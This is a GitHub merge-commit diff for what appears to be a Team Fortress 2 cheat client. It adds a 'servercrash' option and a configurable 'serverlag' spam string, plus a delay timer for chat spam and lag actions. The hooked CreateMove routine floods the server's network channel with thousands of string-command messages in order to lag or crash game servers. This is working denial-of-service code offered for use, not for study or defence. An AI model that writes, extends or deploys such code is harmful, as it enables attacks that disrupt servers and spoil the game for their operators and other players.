Merge pull request #430 from BenCat07/master

Add Delay function and fix servercrash
This commit is contained in:
LightCat 2018-05-10 14:54:54 +02:00 committed by GitHub
commit 559c8a85a1
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
6 changed files with 31 additions and 13 deletions

View File

@ -20,9 +20,14 @@ extern CatVar joinclass;
extern CatVar jointeam;
extern CatVar fakelag_amount;
extern CatVar serverlag_amount;
extern CatVar serverlag_string;
extern CatVar servercrash;
extern CatVar debug_projectiles;
extern CatVar semiauto;
extern CatVar engine_pred;
extern Timer DelayTimer;
extern CatVar delay;
#if ENABLE_VISUALS
extern int spectator_target;
extern CLC_VoiceData *voicecrash;
#endif

View File

@ -22,6 +22,9 @@ CatVar fakelag_amount(CV_INT, "fakelag", "0", "Bad Fakelag");
CatVar serverlag_amount(
CV_INT, "serverlag", "0", "serverlag",
"Lag the server by spamming this many voicecommands per tick");
CatVar serverlag_string(CV_STRING, "serverlag_string", "voicemenu 0 0", "serverlag string", "String to spam with serverlag");
CatVar servercrash(CV_SWITCH, "servercrash", "0", "crash servers",
"Crash servers by spamming signon net messages");
CatVar semiauto(CV_INT, "semiauto", "0", "Semiauto");
bool *bSendPackets;
@ -30,3 +33,6 @@ CatVar crypt_chat(
"Start message with !! and it will be only visible to cathook users");
int spectator_target;
CLC_VoiceData *voicecrash{};
Timer DelayTimer{};
CatVar delay(CV_INT, "delay", "0", "Delay", "Delay actions like chat spam and serverlag/crash by this many seconds.");

View File

@ -7,6 +7,7 @@
#include <hacks/Spam.hpp>
#include "common.hpp"
#include "MiscTemporary.hpp"
namespace hacks
{
@ -269,7 +270,8 @@ bool FormatSpamMessage(std::string &message)
void CreateMove()
{
if (!DelayTimer.check((int)delay * 1000))
return;
IF_GAME(IsTF2())
{
// Spam changes the tournament name in casual and compeditive gamemodes

View File

@ -477,25 +477,30 @@ DEFINE_HOOKED_METHOD(CreateMove, bool, void *this_, float input_sample_time,
if (cmd)
g_Settings.last_angles = cmd->viewangles;
}
NET_StringCmd senddata(serverlag_string.GetString());
INetChannel *ch = (INetChannel *) g_IEngine->GetNetChannelInfo();
senddata.SetNetChannel(ch);
senddata.SetReliable(false);
if (servercrash && DelayTimer.check((int)delay * 1000)) {
for (int i = 0; i < 7800; i+= sizeof(serverlag_string.GetString()))
ch->SendNetMsg(senddata);
ch->Transmit();
}
if (serverlag_amount || votelogger::antikick_ticks)
{
NET_StringCmd senddata("voicemenu 0 0");
INetChannel *ch2 = (INetChannel *) g_IEngine->GetNetChannelInfo();
senddata.SetNetChannel(ch2);
senddata.SetReliable(false);
if (votelogger::antikick_ticks)
votelogger::antikick_ticks--;
if (votelogger::antikick_ticks)
{
for (int i = 0; i < (int) 500; i++)
ch2->SendNetMsg(senddata, false);
ch2->Transmit();
for (int i = 0; i < 7800; i+= sizeof(serverlag_string.GetString()))
ch->SendNetMsg(senddata, false);
ch->Transmit();
}
else if (!votelogger::antikick_ticks)
else if (!votelogger::antikick_ticks && DelayTimer.check((int)delay * 1000))
{
for (int i = 0; i < (int) serverlag_amount; i++)
ch2->SendNetMsg(senddata, false);
ch2->Transmit();
ch->SendNetMsg(senddata, false);
ch->Transmit();
}
}

View File

@ -5,6 +5,7 @@
#include <hacks/hacklist.hpp>
#include "HookedMethods.hpp"
#include "MiscTemporary.hpp"
const char *skynum[] = { "sky_tf2_04",
"sky_upward",
@ -80,6 +81,7 @@ namespace hooked_methods
DEFINE_HOOKED_METHOD(LevelInit, void, void *this_, const char *name)
{
DelayTimer.update();
playerlist::Save();
votelogger::antikick_ticks = 0;
hacks::shared::lagexploit::bcalled = false;

View File

@ -9,8 +9,6 @@
static CatVar resolver(CV_SWITCH, "resolver", "0", "Resolve angles");
static CatVar nightmode(CV_SWITCH, "nightmode", "0", "Enable nightmode", "");
static CatVar servercrash(CV_SWITCH, "servercrash", "0", "crash servers",
"Crash servers by spamming signon net messages");
namespace hooked_methods
{